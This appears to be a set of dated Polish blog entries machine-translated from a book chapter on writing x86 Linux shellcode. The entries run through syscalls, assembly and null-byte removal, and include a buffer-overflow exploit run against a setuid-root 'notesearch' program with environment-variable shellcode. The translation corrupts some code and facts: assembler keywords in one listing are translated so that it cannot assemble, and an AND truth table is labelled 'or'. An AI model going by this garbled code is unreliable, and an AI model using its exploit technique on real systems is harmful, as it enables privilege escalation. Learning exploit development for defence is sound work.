W powyższym wyjściu najpierw długość kodu powłoki powiązanego z portem wynosi 92 bajty. Adres zwrotny znajduje się w 540 kodach powłoki, nadpisuje adres zwrotny 152 bajty. Oznacza to, że jeśli docelowy adres zwrotny jest powtarzany 38 razy, bufor jest kończony przez 'r'. Polecenia budujące bufor są zgrupowane w nawiasy, aby przepompować bufor do kodu powłoki, netcat musi zostać zerwany przez naciśnięcie CTRL-C, ponieważ pierwotne połączenie z gniazdem jest nadal otwarte.

Powrót

06.09.2020

SHELLCODE

Do tej pory kod powłoki używany w naszych exploitach był tylko ciągiem skopiowanych i wklejonych bajtów. Widzieliśmy standardowy powłokowy kod powłoki dla lokalnych exploitów i wiążący port kod powłoki dla zdalnych. Kod powłoki jest czasami nazywany ładunkiem exploita, ponieważ te samodzielne programy wykonują prawdziwą pracę po włamaniu się do programu. Kod powłoki zwykle tworzy powłokę, ponieważ jest to elegancki sposób na przekazanie kontroli; ale może zrobić wszystko, co może zrobić program. Niestety, dla wielu hakerów historia shellcode zatrzymuje się przy kopiowaniu i wklejaniu bajtów. Ci hakerzy drapią się po powierzchni tego, co jest możliwe. Niestandardowy kod powłoki zapewnia całkowitą kontrolę nad wykorzystywanym programem. Być może chcesz, aby twój kod powłoki dodawał konto administratora do / etc / passwd lub automatycznie usuwał linie z plików dziennika. Kiedy już wiesz, jak napisać własny kod powłoki, twoje exploity są ograniczone tylko przez twoją wyobraźnię. Ponadto pisanie kodu powłoki rozwija umiejętności języka asemblera i wykorzystuje wiele technik hakerskich, które warto poznać

Powrót

07.09.2020

Assembler a C

Bajty kodu powłoki są właściwie specyficznymi dla architektury instrukcjami maszynowymi, więc kod powłoki jest napisany przy użyciu języka asemblera. Pisanie programu w zespole jest inne niż pisanie go w C, ale wiele zasad jest podobnych. System operacyjny zarządza takimi elementami, jak wejście, wyjście, sterowanie procesem, dostęp do plików i sieć komunikacja w jądrze. Skompilowane programy C ostatecznie wykonują te zadania poprzez wywołania systemowe do jądra. Różne systemy operacyjne mają różne zestawy wywołań systemowych. W języku C standardowe biblioteki są używane dla wygody i przenośności. Program C, który używa printf () do wyprowadzenia ciągu znaków, można skompilować dla wielu różnych systemów, ponieważ biblioteka wie, że odpowiednie wywołania systemowe wymagają różneych architektur. Program C skompilowany na procesorze x86 wytworzy język asemblera x86. Z definicji język asemblera jest już specyficzny dla określonej architektury procesora, więc przenośność jest niemożliwy. Nie ma standardowych bibliotek; zamiast tego wywołania systemowe jądra muszą być wykonywane bezpośrednio. Aby rozpocząć nasze porównanie, napiszmy prosty program C, a następnie przepisz go w zespole x86

Powrót

08.09.2020

Assembly vs. C

helloworld.c

#include < stdio.h >

int main() {

printf("Hello, world!\n");

return 0;

}

Gdy skompilowany program jest uruchamiany, wykonanie przepływa przez standardową bibliotekę we / wy, ostatecznie wywołując wywołanie systemowe, aby napisać łańcuch Hello, world! na ekran. Program strace służy do śledzenia wywołań systemowych programu. Używany w skompilowanym programie helloworld, pokazuje każde wywołanie systemowe, które tworzy program.

reader@hacking:~/booksrc $ gcc helloworld.c

reader@hacking:~/booksrc $ strace ./a.out

execve("./a.out", ["./a.out"], [/* 27 vars */]) = 0

brk(0) = 0x804a000

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef6000

access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0

mmap2(NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000

close(3) = 0

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20Z\1\000"..., 512) = 512

fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0

mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7db3000

mmap2(0xb7ee0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,

0x12c) =

0xb7ee0000

mmap2(0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) =

0xb7ee4000

close(3) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7db2000

set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575, seg_32bit:1,

contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0

mprotect(0xb7ee0000, 8192, PROT_READ) = 0

munmap(0xb7ee7000, 61323) = 0

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef5000

write(1, "Hello, world!\n", 13Hello, world!

) = 13

exit_group(0) = ?

Process 11528 detached

reader@hacking:~/booksrc $

Jak widać, skompilowany program robi więcej niż tylko wydrukowanie ciągu znaków. Wywołania systemowe na początku konfigurują środowisko i pamięć dla programu, ale ważną częścią jest wywołanie zapisu () pokazane pogrubioną czcionką. To właśnie wyprowadza łańcuch. Strony podręcznika Unix (dostępne za pomocą polecenia man) są podzielone na sekcje. Sekcja 2 zawiera strony podręcznika do wywołań systemowych, więc zapis man 2 opisuje użycie wywołania systemowego write ():

Man Page dla wywołania systemowego write()

WRITE(2) Linux Programmer's Manual

WRITE(2)

NAME

write - write to a file descriptor

SYNOPSIS

#include < unistd.h >

ssize_t write(int fd, const void *buf, size_t count);

DESCRIPTION

write () zapisuje do zliczania bajtów do pliku, do którego odwołuje się deskryptor pliku fd z bufora zaczynającego się od buf. POSIX wymaga, aby a read (), który może zostać udowodniony, gdy wystąpi po write () zwraca nowy dane. Zauważ, że nie wszystkie systemy plików są zgodne z POSIX. Wyjście strace pokazuje również argumenty wywołania systemowego. Argumenty licznika bufand są wskaźnikiem do naszego ciągu i jego długości. Argument fd równy 1 jest specjalnym standardowym deskryptorem pliku. Deskryptory plików są używane prawie we wszystkich systemach Unix: dane wejściowe, wyjściowe, dostęp do plików, gniazda sieciowe i tak dalej. Deskryptor pliku jest podobny do liczby podanej podczas sprawdzania płaszcza. Otwarcie deskryptora pliku jest jak sprawdzanie płaszcza, ponieważ otrzymujesz numer, który można później wykorzystać do odniesienia się do twojego płaszcza. Pierwsze trzy numery deskryptorów plików (0, 1 i 2) są automatycznie używane do standardowego wejścia, wyjścia i błędu. Te wartości są standardowe i zostały zdefiniowane w kilku miejscach, takich jak plik /usr/include/unistd.h

From /usr/include/unistd.h

/* Standard file descriptors. */

#define STDIN_FILENO 0 /* Standard input. */

#define STDOUT_FILENO 1 /* Standard output. */

#define STDERR_FILENO 2 /* Standard error output. */

Zapisanie bajtów do standardowego deskryptora pliku wyjściowego 1 spowoduje wydrukowanie bajtów; odczyt z deskryptora pliku standardowego wejścia 0 spowoduje wprowadzenie bajtów. Standardowy deskryptor pliku błędu 2 jest używany do wyświetlania błędu lub debugowania wiadomości, które mogą być filtrowane ze standardowego wyjścia.

Powrót

09.09.2020

Wywołania systemu Linux w zespole

Wyliczane jest każde możliwe wywołanie systemowe Linux, dzięki czemu można się do nich odwoływać za pomocą numerów podczas wykonywania połączeń w zespole. Te wywołania systemowe są wymienione w /usr/include/asm-i386/unistd.h.



/usr/include/asm-i386/unistd.h

Widok kodu:

#ifndef _ASM_I386_UNISTD_H_

#define _ASM_I386_UNISTD_H_

/*

* This file contains the system call numbers.

*/

#define __NR_restart_syscall 0

#define __NR_exit 1

#define __NR_fork 2

#define __NR_read 3

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

#define __NR_lchown 16

#define __NR_break 17

#define __NR_oldstat 18

#define __NR_lseek 19

#define __NR_getpid 20

#define __NR_mount 21

#define __NR_umount 22

#define __NR_setuid 23

#define __NR_getuid 24

#define __NR_stime 25

#define __NR_ptrace 26

#define __NR_alarm 27

#define __NR_oldfstat 28

#define __NR_pause 29

#define __NR_utime 30

#define __NR_stty 31

#define __NR_gtty 32

#define __NR_access 33

#define __NR_nice 34

#define __NR_ftime 35

#define __NR_sync 36

#define __NR_kill 37

#define __NR_rename 38

#define __NR_mkdir 39

...

Dla naszego przepisania helloworld.c w złożeniu, zrobimy wywołanie systemowe do funkcji write () dla wyjścia, a następnie drugie wywołanie systemowe do exit (), aby proces zakończył się czysto. Można to zrobić w zespole x86, używając tylko dwóch instrukcji montażu: mov i int. Instrukcje składania dla procesora x86 mają jeden, dwa, trzy lub brak argumentów. Operandy instrukcji mogą być wartościami liczbowymi, adresami pamięci lub rejestrami procesorów. Procesor x86 ma kilka 32-bitowych rejestrów, które mogą być postrzegane jako zmienne sprzętowe. Rejestry EAX, EBX, ECX, EDX, ESI, EDI, EBP i ESP mogą być używane jako argumenty, podczas gdy rejestr EIP (wskaźnik wykonania) nie może. Instrukcja mov kopiuje wartość między dwoma operandami. Używając składni złożenia Intel, pierwszy operand jest miejscem docelowym, a drugi jest źródłem. Instrukcja int wysyła sygnał przerwania do jądra, zdefiniowany przez jego pojedynczy argument. W jądrze Linuksa przerwanie 0x80 jest używane do informowania jądra o wywołaniu systemowym. Gdy instrukcja int 0x80 zostanie wykonana, jądro wykona wywołanie systemowe na podstawie pierwszych czterech rejestrów. Rejestr EAX jest używany do określenia wywołania systemowego, podczas gdy rejestry EBX, ECX i EDX są używane aby trzymać pierwszy, drugi i trzeci argument wywołania systemowego. Wszystkie te rejestry można ustawić za pomocą instrukcji mov. W poniższym wykazie kodu zespołu segmenty pamięci są po prostu deklarowane. Ciąg "Hello, world!" z znakiem nowej linii (0x0a) znajduje się w segmencie danych, a rzeczywiste instrukcje montażu znajdują się w segmencie tekstu. Jest to zgodne z prawidłowymi praktykami segmentacji pamięci.

helloworld.asm

section .data; Segment danych

msg db "Witaj, świecie!", 0x0a; Ciąg i znak nowej linii

setion .text; Segment tekstowy

globalny _start; Domyślny punkt wejścia do łączenia ELF

_początek:

; SYSCALL: napisz (1, msg, 14)

mov eax, 4; Umieść 4 w eax, ponieważ write to syscall # 4.

mov ebx, 1; Umieść 1 w ebx, ponieważ stdout to 1.

mov ecx, msg; Umieść adres łańcucha w ecx.

mov edx, 14; Umieść 14 w edx, ponieważ nasz łańcuch ma 14 bajtów.

int 0x80; Wywołaj jądro, aby wywołać wywołanie systemowe.

; SYSCALL: exit (0)

mov eax, 1; Umieść 1 w eax, ponieważ exit jest syscall # 1.

mov ebx, 0; Wyjdź z sukcesem.

int 0x80; Wykonaj wywołanie systemowe.

Instrukcje tego programu są proste. Aby wywołać syscall do standardowego wyjścia, wartość 4 jest umieszczana w EAX, ponieważ funkcja write () jest wywołaniem systemowym numer 4. Następnie wartość 1 jest umieszczana w EBX, ponieważ pierwszy argument write () powinien być deskryptorem pliku dla standardowego wyjścia. Następnie adres łańcucha w segmencie danych jest umieszczany w ECX, a długość łańcucha (w tym przypadku 14 bajtów) jest umieszczana w EDX. Po załadowaniu tych rejestrów wywoływane jest przerwanie wywołania systemowego, które wywoła funkcję write (). Aby wyjść czysto, funkcja exit () musi zostać wywołana z pojedynczym argumentem równym 0. Wartość 1 jest umieszczana w EAX, ponieważ exit () jest wywołaniem systemowym numer 1, a wartość 0 jest umieszczana w EBX, ponieważ pierwszy i jedyny argument powinien mieć wartość 0. Następnie przerwanie wywołania systemowego jest wyzwalane ponownie. Aby utworzyć plik wykonywalny, ten kod zespołu musi zostać najpierw złożony, a następnie połączony z formatem wykonywalnym. Podczas kompilacji kodu C kompilator GCC automatycznie się tym zajmuje. Zamierzamy utworzyć plik wykonywalny i format pliku ELF, więc globalna linia startowa pokazuje linker, w którym zaczynają się instrukcje montażu. Asembler nasm z argumentem -f elf zgromadzi helloworld.asm w plik obiektowy gotowy do połączenia jako plik binarny ELF. Domyślnie ten plik obiektowy będzie nazywany helloworld.o. Program łączący ld wytworzy wykonywalny plik binarny a.out z złożonego obiektu.

reader@hacking:~/booksrc $ nasm -f elf helloworld.asm

reader@hacking:~/booksrc $ ld helloworld.o

reader@hacking:~/booksrc $ ./a.out

Hello, world!

reader@hacking:~/booksrc $

Ten mały program działa, ale nie jest kodem powłoki, ponieważ nie jest samowystarczalny i musi być połączony.

Powrót

10.09.2020

Instrukcje asemblera korzystające ze stosu

Stos jest tak integralny z architekturą x86, że istnieją specjalne instrukcje dotyczące jego działania.

Opis instrukcji

push <źródło> Naciśnij operand źródłowy na stos.

pop < miejsce docelowe > Wyświetla wartość ze stosu i zapisuje w operandzie docelowym.

call < location > Wywołanie funkcji, przeskoczenie wykonania na adres w operandzie lokalizacji. Ta lokalizacja może być względna lub bezwzględna. Adres instrukcji po wywołaniu jest przesyłany do stosu, aby wykonanie mogło powrócić później.

ret Powrót z funkcji, wyświetlając adres zwrotny ze stosu i wykonując tam skok.

Exploity oparte na stosie są możliwe dzięki instrukcjom wywołania i ret. Gdy funkcja jest wywoływana, adres zwrotny następnej instrukcji jest wypychany na stos, rozpoczynając ramkę stosu. Po zakończeniu funkcji retinstruction wyświetla adres zwrotny ze stosu i przeskakuje tam EIP. Nadpisując zapisane zwracamy adres na stosie przed instrukcją ret, możemy przejąć kontrolę nad wykonaniem programu. Tę architekturę można niewłaściwie wykorzystać w inny sposób, aby rozwiązać problem adresowania danych ciągu wbudowanego. Jeśli łańcuch zostanie umieszczony bezpośrednio po instrukcji wywołania, adres ciągu zostanie przesunięty na stos jako adres zwrotny. Zamiast wywoływać funkcję, możemy przeskoczyć łańcuch do instrukcji, która wyniesie adres ze stosu do rejestru. Poniższa instrukcja montażu pokazuje tę technikę



helloworld1.s

BITS 32 ; Tell nasm this is 32-bit code.

call mark_below ; Call below the string to instructions

db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes.

mark_below:

; ssize_t write(int fd, const void *buf, size_t count);

pop ecx ; Pop the return address (string ptr) into ecx.

mov eax, 4 ; Write syscall #.

mov ebx, 1 ; STDOUT file descriptor

mov edx, 15 ; Length of the string

int 0x80 ; Do syscall: write(1, string, 14)

; void _exit(int status);

mov eax, 1 ; Exit syscall #

mov ebx, 0 ; Status = 0

int 0x80 ; Do syscall: exit(0)

Instrukcja wywołania przeskakuje wykonanie poniżej łańcucha. To również wypycha adres następnej instrukcji do stosu, następna instrukcja w naszym przypadku jest początkiem ciągu. Adres zwrotny może być natychmiast wyrzucony ze stosu do odpowiedniego rejestru. Bez użycia żadnych segmentów pamięci, te surowe instrukcje, wstrzyknięte do istniejącego procesu, będą wykonywane w sposób całkowicie niezależny od położenia. Oznacza to, że po złożeniu tych instrukcji nie można ich połączyć w plik wykonywalny.



reader@hacking:~/booksrc $ nasm helloworld1.s

reader@hacking:~/booksrc $ ls -l helloworld1

-rw-r--r-- 1 reader reader 50 2007-10-26 08:30 helloworld1

reader@hacking:~/booksrc $ hexdump -C helloworld1

00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|

00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........|

00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................|

00000030 cd 80 |..|

00000032

reader@hacking:~/booksrc $ ndisasm -b32 helloworld1

00000000 E80F000000 call 0x14

00000005 48 dec eax

00000006 656C gs insb

00000008 6C insb

00000009 6F outsd

0000000A 2C20 sub al,0x20

0000000C 776F ja 0x7d

0000000E 726C jc 0x7c

00000010 64210A and [fs:edx],ecx

00000013 0D59B80400 or eax,0x4b859

00000018 0000 add [eax],al

0000001A BB01000000 mov ebx,0x1

0000001F BA0F000000 mov edx,0xf

00000024 CD80 int 0x80

00000026 B801000000 mov eax,0x1

0000002B BB00000000 mov ebx,0x0

00000030 CD80 int 0x80

reader@hacking:~/booksrc $

Assembler nasm przekształca język asemblera w kod maszynowy, a odpowiednie narzędzie o nazwie ndisasm konwertuje kod maszynowy na złożenie. Narzędzia te są używane powyżej, aby pokazać związek między bajtami kodu maszynowego a instrukcjami montażu. Pogrubione instrukcje demontażu są bajtami "Witaj, świecie!" ciąg interpretowany jako instrukcje. Teraz, jeśli możemy wstrzyknąć ten kod powłoki do programu i przekierować EIP, program wydrukuje Hello, world! Wykorzystajmy znany cel wykorzystania programu do wyszukiwania notatek. reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld1)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch

SHELLCODE will be at 0xbffff9c6

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xc6\xf9\xff\xbf"x40')

-------[ end of note data ]-------

Segmentation fault

reader@hacking:~/booksrc $

Niepowodzenie. Jak myślisz, dlaczego się rozbił? W takich sytuacjach GDB jest twoim najlepszym przyjacielem. Nawet jeśli znasz już przyczynę tej konkretnej awarii, nauczenie się efektywnego korzystania z debugera pomoże rozwiązać wiele innych problemów w przyszłości.

Powrót

11.09.2020

Badanie z GDB

Ponieważ program notesearch działa jako root, nie możemy go debugować jako zwykłego użytkownika. Nie możemy jednak po prostu dołączyć do działającej kopii, ponieważ wychodzi zbyt szybko. Innym sposobem debugowania programów są zrzuty pamięci. Z monitu głównego system operacyjny może zostać poinformowany o zrzuceniu pamięci, gdy program ulegnie awarii, za pomocą komendy ulimit -c unlimited. Oznacza to, że porzucone pliki rdzenia mogą uzyskać tyle, ile potrzeba. Teraz, gdy program ulegnie awarii, pamięć zostanie zrzucona na dysk jako plik podstawowy, który można sprawdzić za pomocą GDB



reader@hacking:~/booksrc $ sudo su

root@hacking:/home/reader/booksrc # ulimit -c unlimited

root@hacking:/home/reader/booksrc # export SHELLCODE=$(cat helloworld1)

root@hacking:/home/reader/booksrc # ./getenvaddr SHELLCODE ./notesearch

SHELLCODE will be at 0xbffff9a3

root@hacking:/home/reader/booksrc # ./notesearch $(perl -e 'print "\xa3\xf9\

xff\xbf"x40')

-------[ end of note data ]-------

Segmentation fault (core dumped)

root@hacking:/home/reader/booksrc # ls -l ./core

-rw------- 1 root root 147456 2007-10-26 08:36 ./core

root@hacking:/home/reader/booksrc # gdb -q -c ./core

(no debugging symbols found)

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Core was generated by './notesearch

?°E??°E??°E??°E??°E??°E??°E??°E??°E??°E??°E??°E??°E??°E??°E??°E??°E.

Program terminated with signal 11, Segmentation fault.

#0 0x2c6541b7 in ?? ()

(gdb) set dis intel

(gdb) x/5i 0xbffff9a3

0xbffff9a3: call 0x2c6541b7

0xbffff9a8: ins BYTE PTR es:[edi],[dx]

0xbffff9a9: outs [dx],DWORD PTR ds:[esi]

0xbffff9aa: sub al,0x20

0xbffff9ac: ja 0xbffffa1d

(gdb) i r eip

eip 0x2c6541b7 0x2c6541b7

(gdb) x/32xb 0xbffff9a3

0xbffff9a3: 0xe8 0x0f 0x48 0x65 0x6c 0x6c 0x6f 0x2c

0xbffff9ab: 0x20 0x77 0x6f 0x72 0x6c 0x64 0x21 0x0a

0xbffff9b3: 0x0d 0x59 0xb8 0x04 0xbb 0x01 0xba 0x0f

0xbffff9bb: 0xcd 0x80 0xb8 0x01 0xbb 0xcd 0x80 0x00

(gdb) quit

root@hacking:/home/reader/booksrc # hexdump -C helloworld1

00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|

00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........|

00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................|

00000030 cd 80 |..|

00000032

root@hacking:/home/reader/booksrc #

Po załadowaniu GDB styl demontażu jest przełączany na Intel. Ponieważ uruchamiamy GDB jako root, plik .gdbinit nie będzie używany. Pamięć, w której powinien znajdować się kod powłoki, jest sprawdzana. Instrukcje wyglądają niepoprawnie, ale wydaje się, że pierwsza nieprawidłowa instrukcja wywołania spowodowała awarię. Co najmniej wykonanie zostało przekierowane, ale coś poszło nie tak z bajtami powłoki. Normalnie ciągi są zakończone bajtem null, ale tutaj powłoka była na tyle uprzejma, aby usunąć dla nas te bajty zerowe. To jednak całkowicie niszczy znaczenie kodu maszynowego. Często kod powłoki jest wstrzykiwany do procesu jako łańcuch, używając funkcji takich jak strcpy (). Takie funkcje kończą się po pierwszym bajcie zerowym, tworząc niekompletny i bezużyteczny kod powłoki w pamięci. Aby kod powłoki przetrwał tranzyt, musi zostać przeprojektowany, aby nie zawierał żadnych bajtów zerowych.

Powrót

12.09.2020

Usuwanie Null Bytes

Patrząc na assembler, oczywiste jest, że pierwsze bajty zerowe pochodzą z instrukcji wywołania.

reader@hacking:~/booksrc $ ndisasm -b32 helloworld1

00000000 E80F000000 call 0x14

00000005 48 dec eax

00000006 656C gs insb

00000008 6C insb

00000009 6F outsd

0000000A 2C20 sub al,0x20

0000000C 776F ja 0x7d

0000000E 726C jc 0x7c

00000010 64210A and [fs:edx],ecx

00000013 0D59B80400 or eax,0x4b859

00000018 0000 add [eax],al

0000001A BB01000000 mov ebx,0x1

0000001F BA0F000000 mov edx,0xf

00000024 CD80 int 0x80

00000026 B801000000 mov eax,0x1

0000002B BB00000000 mov ebx,0x0

00000030 CD80 int 0x80

reader@hacking:~/booksrc $

Ta instrukcja przeskakuje wykonanie do przodu o 19 (0x13) bajtów, w oparciu o pierwszy operand. Instrukcja wywołania pozwala na znacznie dłuższe odległości skoku, co oznacza, że mała wartość, taka jak 19, będzie musiała być uzupełniona zerami wiodącymi, co daje bajty zerowe. Jednym ze sposobów na rozwiązanie tego problemu jest wykorzystanie uzupełnienia dwóch. Mała liczba ujemna będzie miała włączone pierwsze bity, co spowoduje powstanie 0xffbajtów. Oznacza to, że jeśli wywołamy użycie ujemnej wartości, aby przejść do tyłu podczas wykonywania, kod maszynowy dla tej instrukcji nie będzie miał żadnych bajtów zerowych. Następująca wersja kodu powłoki helloworld używa standardowej implementacji tej sztuczki: przeskocz na koniec kodu powłoki do instrukcji wywołania, która z kolei wróci do instrukcji pop na początku kodu powłoki.

helloworld2.s

BITS 32 ; Tell nasm this is 32-bit code.

jmp short one ; Jump down to a call at the end.

two:

; ssize_t write(int fd, const void *buf, size_t count);

pop ecx ; Pop the return address (string ptr) into ecx.

mov eax, 4 ; Write syscall #.

mov ebx, 1 ; STDOUT file descriptor

mov edx, 15 ; Length of the string

int 0x80 ; Do syscall: write(1, string, 14)

; void _exit(int status);

mov eax, 1 ; Exit syscall #

mov ebx, 0 ; Status = 0

int 0x80 ; Do syscall: exit(0)

one:

call two ; Call back upwards to avoid null bytes

db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes.

Po złożeniu tego nowego kodu powłoki dezasemblacja pokazuje, że instrukcja wywołania (przedstawiona kursywą poniżej) jest teraz wolna od bajtów zerowych. Rozwiązuje to pierwszy i najtrudniejszy problem bajtowy dla tego kodu powłoki, ale nadal istnieje wiele innych bajtów zerowych

reader@hacking:~/booksrc $ nasm helloworld2.s

reader@hacking:~/booksrc $ ndisasm -b32 helloworld2

00000000 EB1E jmp short 0x20

00000002 59 pop ecx

00000003 B804000000 mov eax,0x4

00000008 BB01000000 mov ebx,0x1

0000000D BA0F000000 mov edx,0xf

00000012 CD80 int 0x80

00000014 B801000000 mov eax,0x1

00000019 BB00000000 mov ebx,0x0

0000001E CD80 int 0x80

00000020 E8DDFFFFFF call 0x2

00000025 48 dec eax

00000026 656C gs insb

00000028 6C insb

00000029 6F outsd

0000002A 2C20 sub al,0x20

0000002C 776F ja 0x9d

0000002E 726C jc 0x9c

00000030 64210A and [fs:edx],ecx

00000033 0D db 0x0D

reader@hacking:~/booksrc $

Te pozostałe bajty zerowe można wyeliminować dzięki zrozumieniu szerokości rejestrów i adresowania. Zauważ, że pierwsza instrukcja jmp jest w rzeczywistości jmp short. Oznacza to, że wykonanie może przeskoczyć maksymalnie maksymalnie około 128 bajtów w obu kierunkach. Normalna instrukcja jmp, jak również instrukcja wywołania (która nie ma krótkiej wersji), pozwala na znacznie dłuższe skoki. Różnica między zmontowanym kodem maszynowym dla dwóch odmian skoku jest pokazana poniżej:

EB 1E jmp short 0x20

przeciw

E9 1E 00 00 00 jmp 0x23

Rejestry EAX, EBX, ECX, EDX, ESI, EDI, EBP i ESP mają szerokość 32 bitów. E oznacza rozszerzony, ponieważ były to początkowo 16-bitowe rejestry o nazwach AX, BX, CX, DX, SI, DI, BP i SP. Te oryginalne 16-bitowe wersje rejestrów mogą być nadal używane do uzyskiwania dostępu do pierwszych 16 bitów każdego odpowiedniego rejestru 32-bitowego. Ponadto poszczególne bajty rejestrów AX, BX, CX i DX mogą być dostępne jako rejestry 8-bitowe o nazwach AL, AH, BL, BH, CL, CH, DL i DH, gdzie L oznacza niski bajt i H na wysoki bajt. Naturalnie instrukcje składania z użyciem mniejszych rejestrów muszą jedynie określać operandy do szerokości bitowej rejestru. Trzy odmiany instrukcji mov są pokazane poniżej.

Kod maszynowy : Assembler

B8 04 00 00 00 : mov eax, 0x4

66 B8 04 00 : mov ax, 0x4

B0 04 : mov al, 0x4

Użycie rejestru AL, BL, CL lub DL spowoduje umieszczenie poprawnego najmniej znaczącego bajtu w odpowiednim rozszerzonym rejestrze bez tworzenia żadnych bajtów zerowych w kodzie maszynowym. Jednak trzy pierwsze bajty rejestru mogą nadal zawierać wszystko. Jest to szczególnie prawdziwe w przypadku kodu powłoki, ponieważ przejmie on inny proces. Jeśli chcemy, aby 32-bitowe wartości rejestrów były poprawne, musimy wyzerować cały rejestr przed instrukcjami mov - ale to również musi być wykonane bez użycia bajtów zerowych. Oto bardziej proste instrukcje asemblerowe dla twojego arsenału. Te dwa pierwsze są małymi instrukcjami, które zwiększają i zmniejszają ich operand o jeden.

Instrukcji Opis

inc < cel > Zwiększ operand docelowy, dodając do niego 1.

dec < cel > Zmniejsza operand docelowy, odejmując od niego 1

Następne kilka instrukcji, podobnie jak instrukcja mov, ma dwa operandy. Wszystkie wykonują proste arytmetyczne i bitowe operacje logiczne między dwoma operandami, przechowując wynik w pierwszym operandzie.

Instrukcja : Opis

add < dest>,< source > : Dodaj operand źródłowy do operandu docelowego, przechowując wynik w miejscu docelowym

sub < dest>, < source > : Odejmij operand źródłowy od operandu docelowego, przechowując wynik w miejscu docelowym.

or < dest>, < source > : Wykonaj operację bitową lub logiczną, porównując każdy bit jednego operandu z odpowiednim bitem drugiego argumentu.

1 or 0 = 1

1 or 1 = 1

0 or 1 = 1

0 or 0 = 0

Jeśli bit źródłowy lub bit docelowy jest włączony lub jeśli oba są włączone, bit wyniku jest włączony; w przeciwnym razie wynik jest wyłączony. Ostateczny wynik jest przechowywany w operandzie docelowym.

and < dest >, < source > : Wykonaj operację bitową i logiczną, porównując każdy bit jednego operandu z odpowiednim bitem drugiego argumentu.

1 lub 0 = 0

1 lub 1 = 1

0 lub 1 = 0

0 lub 0 = 0

Bit wynikowy jest włączony tylko wtedy, gdy włączony jest bit źródłowy i bit docelowy. Ostateczny wynik jest przechowywany w operandzie docelowym.

Jedną z metod jest przeniesienie dowolnej 32-bitowej liczby do rejestru, a następnie odjęcie tej wartości z rejestru za pomocą instrukcji mov i instrukcji podrzędnych:

B8 44 33 22 11 mov eax, 0x11223344

2D 44 33 22 11 sub eax, 0x11223344

Podczas gdy ta technika działa, do wyrejestrowania pojedynczego rejestru potrzeba 10 bajtów, dzięki czemu złożony kod powłoki jest większy niż jest to konieczne. Czy możesz wymyślić sposób na zoptymalizowanie tej techniki? Wartość DWORD określona w każdej instrukcji zawiera 80 procent kodu. Odejmowanie wartości od siebie również powoduje 0 i nie wymaga żadnych danych statycznych. Można to zrobić za pomocą pojedynczej instrukcji dwubajtowej:

29 C0 sub eax, eax

Użycie pod-instrukcji będzie działać poprawnie, gdy zerowanie rejestruje się na początku kodu powłoki. Ta instrukcja zmodyfikuje jednak flagi procesora, które są używane do rozgałęziania. Z tego powodu istnieje preferowana instrukcja dwubajtowa, która jest używana do zerowania rejestrów w większości kodów powłoki. Instrukcja xor wykonuje operację ex clusive lub operację na bitach w rejestrze. Ponieważ 1 xor ed z 1 daje 0, a 0 xored z 0 daje 0, każda wartość xor ed z samym wynikiem da 0. To jest taki sam wynik jak z każdą wartością odejmowaną od siebie, ale instrukcja xor nie nie modyfikuj flag procesora, więc jest to czystsza metoda.

31 C0 xor eax, eax

Możesz bezpiecznie korzystać z instrukcji podrzędnej do rejestrów zerowych (jeśli jest to zrobione na początku kodu powłoki), ale instrukcja xor jest najczęściej używana w dzikim kodzie powłoki. Ta następna wersja kodu powłoki używa mniejszych rejestrów i instrukcji xor, aby uniknąć bajtów zerowych. Zastosowano również instrukcje inc i decinstructions, aby uzyskać jeszcze mniejszy kod powłoki.

helloworld3.s

BITS 32 ; Tell nasm this is 32-bit code.

jmp short one ; Jump down to a call at the end.

two:

; ssize_t write(int fd, const void *buf, size_t count);



pop ecx ; Pop the return address (string ptr) into ecx.

xor eax, eax ; Zero out full 32 bits of eax register.

mov al, 4 ; Write syscall #4 to the low byte of eax.

xor ebx, ebx ; Zero out ebx.

inc ebx ; Increment ebx to 1, STDOUT file descriptor.

xor edx, edx

mov dl, 15 ; Length of the string

